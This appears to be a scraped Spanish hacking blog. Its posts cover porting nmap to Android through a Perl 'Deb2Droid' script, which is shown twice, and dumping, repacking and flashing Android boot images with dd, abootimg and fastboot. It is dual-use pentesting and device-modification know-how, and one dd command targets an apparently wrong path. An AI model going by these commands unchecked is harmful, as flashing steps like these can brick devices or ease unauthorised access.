print "[-] Total Número de mensajes: "+datos[0]

print "[-] Número de mensaje: "+datos[1]

print "[-] Satélites visibles: "+datos[2]

c=0

for a in range(3):

print "[-] Satélite número: "+datos[3+c]

print "\t[-] Grados de elevación: "+datos[3+c+1]

print "\t[-] Asimut: "+datos[3+c+2]

print "\t[-] SNR: "+datos[3+c+3]+" dB-Hz"

c=c+4

 

 

while 1:

linea = s.recv(250)

if linea == '':

raise RuntimeError("socket connection broken")

datos=string.split(linea,',')

try:

result = {

'$GPRMC': GPRMC,

'$GPGSV': GPGSV

}[datos[0]](datos[1:])

except KeyError:

pass

By Xianur0
 

Portando cualquier programa GNU/Linux a Android

Últimamente ha sonado mucho el “Ubuntu for android” que no es más que un port de ubuntu que corre sobre android (sí, no remplaza android, simplemente corre en un entorno chroot SOBRE android), pero aun queda esperar para probarlo, pero no somos de las personas que les guste esperar, además podemos asumir que no nos interesa tener la distro completa, solo ciertas herramientas que podemos utilizar para el pentesting.

La cosa es bastante simple, primero necesitamos bajar la iso de debian para ARMEL
 Zer0-null:/home/xianur0 # wget http://cdimage.debian.org/debian-cd/current/armel/iso-cd/debian-6.0.6-armel-xfce+lxde-CD-1.iso

Ya que tengamos ese iso, extraemos la carpeta pool (no nos interesa nadamás del iso) y utilizaremos la herramienta “Deb2Droid” para “instalar” cualquier programa en el android.

Nota: Podemos bajar archivos con extensión “.deb” de otros repositorios de debian, siempre y cuando sean para la arquitectura “armel”:

Por ejemplo tenemos este:
http://ftp.fr.debian.org/debian/pool/main

Para este caso bajaremos nmap:
 http://ftp.fr.debian.org/debian/pool/main/n/nmap/nmap_5.00-3_armel.deb

y lo meteremos dentro de pool/main/n/

Ahora con la herramienta “Deb2Droid” vamos a exportar nmap con todas sus dependencias:
 Zer0-null:/home/xianur0/debian-arm # perl export.pl

Deb2Droid v0.1 by Xianur0

Use: ./export.pl [pool dir] [deb]

Zer0-null:/home/xianur0/debian-arm/nmap # perl export.pl ../pool/main/ n/nmap_5.00-3_armel.deb

[...]

[-] Instaladas!

[-] Paquete y dependencias extraidos correctamente!

Llegados a este punto ya tendremos todo extraído en la carpeta actual (donde ejecutamos el export.pl).
Zer0-null:/home/xianur0/debian-arm/nmap # ls

bin  config  etc  export.pl  lib  sbin  selinux  shlibs  symbols  templates  usr  var

De este modo ya tendríamos listo nmap para correrlo en cualquier dispositivo android, el detalle hasta ahora es que... pesa mucho...
 Zer0-null:/home/xianur0/debian-arm/nmap # du -sh .

68M    .

Ahora la cosa es tomar solo lo que nos sirve:
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x nmap  | grep NEEDED

NEEDED               libpcre.so.3

NEEDED               libpcap.so.0.8

NEEDED               libssl.so.0.9.8

NEEDED               libcrypto.so.0.9.8

NEEDED               liblua5.1.so.0

NEEDED               libdl.so.2

NEEDED               libstdc++.so.6

NEEDED               libm.so.6

NEEDED               libgcc_s.so.1

NEEDED               libc.so.6

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/bin/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp nmap /home/xianur0/nmap-final/bin/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/lib

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libpcre.so.3 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libpcap.so.0.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libssl.so.0.9.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libcrypto.so.0.9.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/liblua5.1.so.0 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libdl.so.2 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libstdc++.so.6 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libm.so.6 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libgcc_s.so.1 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libc.so.6 /home/xianur0/nmap-final/lib/

Listo, ya tenemos nmap con todas sus dependencias reales en /home/xianur0/nmap-final

Pero ahora toca ver si alguna de sus dependencias tiene alguna dependencia sin cumplir (hacer recursivamente esto hasta tener todas las libs necesarias):
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x * | grep -i NEEDED | sort -n | uniq

NEEDED               libacl.so.1

NEEDED               libattr.so.1

NEEDED               libbz2.so.1.0

NEEDED               libcrypto.so.0.9.8

NEEDED               libcrypt.so.1

NEEDED               libc.so.6

NEEDED               libdl.so.2

NEEDED               libgcc_s.so.1

NEEDED               liblua5.1.so.0

NEEDED               liblzma.so.2

NEEDED               libm.so.6

NEEDED               libpcap.so.0.8

NEEDED               libpcreposix.so.3

NEEDED               libpcre.so.3

NEEDED               libperl.so.5.10

NEEDED               libpthread.so.0

NEEDED               librt.so.1

NEEDED               libselinux.so.1

NEEDED               libssl.so.0.9.8

NEEDED               libstdc++.so.6

NEEDED               libz.so.1

y copiamos todas las que nos falte:
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -l /home/xianur0/nmap-final/lib/

total 6712

-rwxr-xr-x 1 root root  122340 ene 14 04:53 ld-linux.so.3

-rw-r--r-- 1 root root   25412 ene 14 05:01 libacl.so.1

-rw-r--r-- 1 root root   14576 ene 14 05:02 libattr.so.1

-rw-r--r-- 1 root root   74552 ene 14 04:57 libbz2.so.1.0

-rw-r--r-- 1 root root 1247604 ene 14 04:26 libcrypto.so.0.9.8

-rw-r--r-- 1 root root   34376 ene 14 05:00 libcrypt.so.1

-rwxr-xr-x 1 root root 1205684 ene 14 04:27 libc.so.6

-rw-r--r-- 1 root root    9808 ene 14 04:26 libdl.so.2

-rw-r--r-- 1 root root   47212 ene 14 04:27 libgcc_s.so.1

-rw-r--r-- 1 root root  143460 ene 14 04:26 liblua5.1.so.0

-rw-r--r-- 1 root root  127380 ene 14 04:54 liblzma.so.2

-rw-r--r-- 1 root root  652912 ene 14 04:27 libm.so.6

-rw-r--r-- 1 root root  193012 ene 14 05:01 libpcap.so.0.8

-rw-r--r-- 1 root root    5892 ene 14 04:56 libpcreposix.so.3

-rw-r--r-- 1 root root  186208 ene 14 04:25 libpcre.so.3

-rw-r--r-- 1 root root 1251792 ene 14 04:56 libperl.so.5.10

-rwxr-xr-x 1 root root  120505 ene 14 04:53 libpthread.so.0

-rw-r--r-- 1 root root   26632 ene 14 04:55 librt.so.1

-rw-r--r-- 1 root root  100312 ene 14 04:54 libselinux.so.1

-rw-r--r-- 1 root root  270772 ene 14 04:26 libssl.so.0.9.8

-rw-r--r-- 1 root root  874176 ene 14 04:27 libstdc++.so.6

-rw-r--r-- 1 root root   82124 ene 14 04:53 libz.so.1

 
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -alh /home/xianur0/nmap-final/bin

total 620K

drwxr-xr-x 2 root root 4,0K ene 14 04:24 .

drwxr-xr-x 4 root root 4,0K ene 14 04:25 ..

-rwxr-xr-x 1 root root 609K ene 14 04:24 nmap

 

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # du -sh /home/xianur0/nmap-final/

7,2M   /home/xianur0/nmap-final/

Ahora pesa mucho menos que los 68 MB's con la basura de debian.

Preparemos el entorno y subamos al dispositivo todo:
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/proc

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/dev

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/sys

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # adb push /home/xianur0/nmap-final /sdcard/nmap

Y probemos en el dispositivo a ver si funciona:

Primero copiaré la carpeta a /data/local/nmap porque la SD es fat32 y no acepta permisos de ejecución (que requerimos para ejecutar el programa):
# cp -R /sdcard/nmap /data/local/nmap

# cd /data/local/nmap

Montamos las particiones para que se comunique con el sistema:
# mount -o bind /proc proc

# mount -o bind /dev dev

# mount -o bind /sys sys

Ahora vamos a ver si se ejecuta:
 # chroot /data/local/nmap /bin/nmap -V

Nmap version 5.00 ( http://nmap.org )

Y listo nmap corriendo en android :D.

También podemos portar GCC/Make y otras herramientas de desarrollo y directamente compilar el programa en el celular, lo cual nos ahorraría eliminar tanta basura.

 export.pl


#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}

sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";

 

By Xianur0
 

Universidad Tecnologica de Tecamachalco, Puebla

[gallery columns="4" ids="1612,1613,1614,1615,1616,1617,1618,1619,1620,1621,1622,1623,1624,1625,1626,1627,1628,1629,1630,1631,1632,1633,1634,1635"]
 

Universidad Tecnologica de San Juan del Rio

[gallery columns="4" link="file" ids="1584,1585,1586,1587,1588,1589,1590,1605,1604,1603,1602,1601,1600,1599,1598,1597,1596,1595,1593,1592,1591"]
 

Android Para Hackers Reales pt.1

El titulo de esta publicación seguramente será muy polémico y causará muchas criticas, pero crear este “manual” y poner esta clase de títulos tienen sus razones, para comenzar las publicaciones de  “Android para hackers” normalmente no pasan de una lista de apps para instalar y que harán todo el trabajo, pero sin duda alguna es complicado encontrar algo que valga la pena y que no esté regado por todo internet, además de que todo eso es negocio de scriptkiddies no de “hackers” como sugiere el título, por esta sencilla razón me daré a la labor de armar un manual de como convertir esto:


 23rk9wz

 

En esto:

qoej6b

Y finalmente esto:

fperl

Todo completamente desde 0. Vamos a hacer Ing. Inversa, vamos a compilar kernels, vamos a montarlos en dispositivos android (este manual estará más que nada enfocado a tabletas, aunque puede servir en celulares también) y vamos a hacer hacks reales.

Comenzamos!

Para este primer post vamos con una introducción al kernel de android, las herramientas que vamos a necesitar son: Android rooteado (hay muchos manuales además de que este proceso puede variar según el dispositivo que se tenga, por lo que no entraré en detalles respecto a esto), adb (se instala con el Android SDK o pueden usar “adb lite” que pueden encontrar buscando en google :P), abootimg (http://gitorious.org/ac100/abootimg) y binwalk (sería igual utilizar un editor hexadecimal en lugar de esta herramienta, pero para acelerar un poco las cosas, lo usaremos esta vez :P).

En esta primera parte trabajaré con un celular android, debido a que la tableta que tengo a la mano para trabajar (Sony Tablet S)  lleva un proceso diferente (del cual hablaré en el siguiente post), pero este proceso se aplica a una gran cantidad de tabletas android.

Para las personas que no estén familiarizadas con compilar kernels tal vez se les complique un poco entender los términos que se utilizarán a lo largo de este post, pero intentaré hacerlo lo más claro posible.
 # mount | grep /system

/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

Lo primero es identificar las particiones que utiliza el dispositivo, para detectar las que faltan y buscar en ellas el tan deseado kernel.
 # mount | grep /dev/block/mmcblk0p

/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p21 /data ext4 rw,nosuid,nodev,noatime,errors=continue,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p15 /persist ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p16 /cache ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p18 /drm ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p22 /mpt ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

Ya tenemos la 14,21, 15, 16, 18 y 22 identificadas.
 # ls -l /dev/block/mmcblk0p*

brw------- root     root     179,   1 2013-01-04 00:13 mmcblk0p1

brw------- root     root     179,  10 2013-01-13 20:06 mmcblk0p10

brw------- root     root     179,  11 2013-01-13 19:48 mmcblk0p11

brw------- root     root     179,  12 2013-01-04 00:13 mmcblk0p12

brw------- root     root     179,  13 2013-01-04 00:13 mmcblk0p13

brw------- root     root     179,  14 2013-01-04 00:13 mmcblk0p14

brw------- root     root     179,  15 2013-01-04 00:13 mmcblk0p15

brw------- root     root     179,  16 2013-01-04 00:13 mmcblk0p16

brw-rw---- system   system   179,  17 2013-01-04 00:13 mmcblk0p17

brw-rw---- system   system   179,  18 2013-01-04 00:13 mmcblk0p18

brw------- root     root     179,  19 2013-01-04 00:13 mmcblk0p19

brw------- root     root     179,   2 2013-01-04 00:13 mmcblk0p2

brw------- root     root     179,  20 2013-01-04 00:13 mmcblk0p20

brw------- root     root     179,  21 2013-01-04 00:13 mmcblk0p21

brw------- root     root     179,  22 2013-01-04 00:13 mmcblk0p22

brw------- root     root     179,  23 2013-01-04 00:13 mmcblk0p23

brw------- root     root     179,   3 2013-01-04 00:13 mmcblk0p3

brw------- root     root     179,   4 2013-01-04 00:13 mmcblk0p4

brw------- root     root     179,   5 2013-01-04 00:13 mmcblk0p5

brwxrwx--- root     radio    179,   6 2013-01-04 00:13 mmcblk0p6

brw------- root     root     179,   7 2013-01-04 00:13 mmcblk0p7

brwxrwx--- root     system   179,   8 2013-01-04 00:13 mmcblk0p8

brw------- root     root     179,   9 2013-01-04 00:13 mmcblk0p9

Lamentablemente nos faltan algunas por identificar.

Una ayuda bastante útil es cuando /proc/mtd está activo:
 # cat /proc/mtd

dev:    size   erasesize  name

mtd0: 00500000 00020000 "boot"

mtd1: 00500000 00020000 "recovery"

mtd2: 00140000 00020000 "misc"

mtd3: 00060000 00020000 "splash"

mtd4: 0aa00000 00020000 "system"

mtd5: 04600000 00020000 "cache"

mtd6: 0bda0000 00020000 "userdata"

mtd7: 01400000 00020000 "userdata2"

Lamentablemente esto no es en la mayoría de los dispositivos:
# cat /proc/mtd

/proc/mtd: No such file or directory

Por lo que se requiere realizar un poco de Ing. Inversa.
 # dd if=/dev/block/mmcblk0p1 of=/sdcard/mmcblk0p1

40+0 records in

40+0 records out

20480 bytes transferred in 0.004 secs (5120000 bytes/sec)

Copiamos cada partición a la SDCard y luego las bajamos a la pc:
 Zer0-null:/home/xianur0 # adb pull /sdcard/mmcblk0p1 mmcblk0p1

236 KB/s (20480 bytes in 0.084s)

Y vamos analizando una por una con binwalk:
 Zer0-null:/home/xianur0 # binwalk mmcblk0p1

 

DECIMAL     HEX               DESCRIPTION

-------------------------------------------------------------------------------------------------------

En muchos casos incluso binwalk no puede detectar de que es la partición, entonces nos toca hacerlo manualmente con un editor hexadecimal.
 Zer0-null:/home/xianur0/L3-back # binwalk mmcblk0p9

 

DECIMAL     HEX               DESCRIPTION

-------------------------------------------------------------------------------------------------------

20010              0x4E2A          gzip compressed data, from Unix, last modified: Thu Jul 26 05:55:33 2012, max compression

[…]

 

Bingo! Eso suena interesante, veamos si es:

 
Zer0-null:/home/xianur0/L3-back # perl -e 'my $tmp="";open FILE,"<mmcblk0p9"; read FILE,$tmp,8; print $tmp;'

ANDROID!

 

El encabezado “ANDROID!” indica que esta partición es... boot!, en esta es donde se encuentra el kernel :P.
 

Zer0-null:/home/xianur0/L3-back # abootimg -i mmcblk0p9

 

Android Boot Image Info:

 
* file name = mmcblk0p9

 

* image size = 8388608 bytes (8.00 MB)

page size  = 4096 bytes

 

* Boot Name = ""

 

* kernel size       = 3312024 bytes (3.16 MB)

ramdisk size      = 490986 bytes (0.47 MB)

 

* load addresses:

kernel:       0x00208000

ramdisk:      0x01300000

tags:         0x00200100

 

* cmdline = androidboot.hardware=e0

 

  • id = 0x099380a2 0xe8c73d9d 0x7ec0b3eb 0xb7d342d1 0xfda995b2 0x00000000 0x00000000 0x00000000


 

Ya tenemos los valores que vamos a utilizar luego, pero por ahora vamos a extraer esta partición:

 
Zer0-null:/home/xianur0/L3-back # abootimg -x mmcblk0p9

writing boot image config in bootimg.cfg

extracting kernel in zImage

extracting ramdisk in initrd.img

 

 

Primero que nada: zImage sería el kernel, y initrd.img el ramdisk, esencialmente el ramdisk es algo así como la partición raíz (“/”) en linux, siendo esta montada como solo lectura (a que no se habían dado cuenta de que todo lo que ponen en “/” se borra :P).

 

Un punto importante es que no en todos los dispositivos es tan fácil conseguir el kernel, en muchos casos viene bloqueado de fábrica, de modo que ni siquiera lo pueden ver como partición, pero tenemos el siguiente truco que puede ayudar en muchos casos:

 

Zer0-null:/home/xianur0 # fastboot oem unlock

 

Pero no profundizaré mucho sobre ese tema en este post.

 

Podemos editar el ramdisk de la siguiente forma:

 
Zer0-null:/home/xianur0/L3-back # mkdir ramdisk && cd ramdisk && gzip -dc ../initrd.img | cpio -i

2074 blocks

 

Zer0-null:/home/xianur0/L3-back/ramdisk # ls

chargerimages  dev         init.goldfish.rc  init.rc         lgdms.fota_update.rc  sbin    ueventd.goldfish.rc

data           init        init.qcom.rc      init.target.rc  lgsecurity.rc         sys     ueventd.rc

default.prop   init.e0.rc  init.qcom.sh      lgdms.fota.rc   proc                  system

 

ya tenemos el ramdisk extraído, podemos cambiar las cosas que necesitemos y volver a empaquetarlo:

 
Zer0-null:/home/xianur0/L3-back/ramdisk # find . | cpio -o -H newc | gzip > ../new-initrd.img

2074 blocks

 

Después con el mismo abootimg:

 
Zer0-null:/home/xianur0/L3-back # cp mmcblk0p9 mmcblk0p9.new && abootimg -u mmcblk0p9.new -r new-initrd.img

reading ramdisk from new-initrd.img

Writing Boot Image mmcblk0p9.new

 

y listo, tenemos la partición como nueva.

 

Podemos subirla de muchas formas al dispositivo, una es con el mismo dd:

 
Zer0-null:/home/xianur0/L3-back # adb push  mmcblk0p9.new /sdcard/

 

Y en el dispositivo:

 
# dd if=/sdcard/mmcblk0p9.new of=/mmcblk0p9

 

 

O también se puede realizar con fastboot:

 

Fastboot es uno de los modos que tiene android, similar a adb, la diferencia es que fastboot corre en pre-os es decir se ejecuta antes que android como tal y es muy similar a PXE (Entorno de ejecución de prearranque).

 

Para entrar a fastboot se tiene que apagar el dispositivo y con una combinación especifica de botones (varían de dispositivo a dispositivo) presionados, encender el dispositivo, para reconocer que un dispositivo está en fastboot basta con ver que no pasa de la primera pantalla (normalmente el logo del fabricante).

 
Zer0-null:/home/xianur0/L3-back # fastboot flash boot mmcblk0p9.new

 

Por cierto, sabían que fastboot permite ejecutar un kernel sin necesitar de flashearlo al dispositivo?

 
Zer0-null:/home/xianur0/L3-back # fastboot boot mmcblk0p9.new

 

o

 
Zer0-null:/home/xianur0/L3-back # fastboot boot zImage initrd.img

 

Es algo así como un “live-kernel”, esto nos puede ser de mucha utilidad cuando puede haber riesgo de “brickear” el dispositivo si se escribe un kernel/ramdisk defectuoso, de modo que podemos probarlo antes de flashearlo al dispositivo.

 

Por ahora nos hemos extendido un poco, así que terminemos por ahora este post, no sin antes dar un adelanto de lo que veremos en el siguiente:

 

* Cross-Compilar un kernel de android.

* Compilar driver RTL8187 en Sony Tablet S para levantar una antena wifi Alfa Networks.
#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}

sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
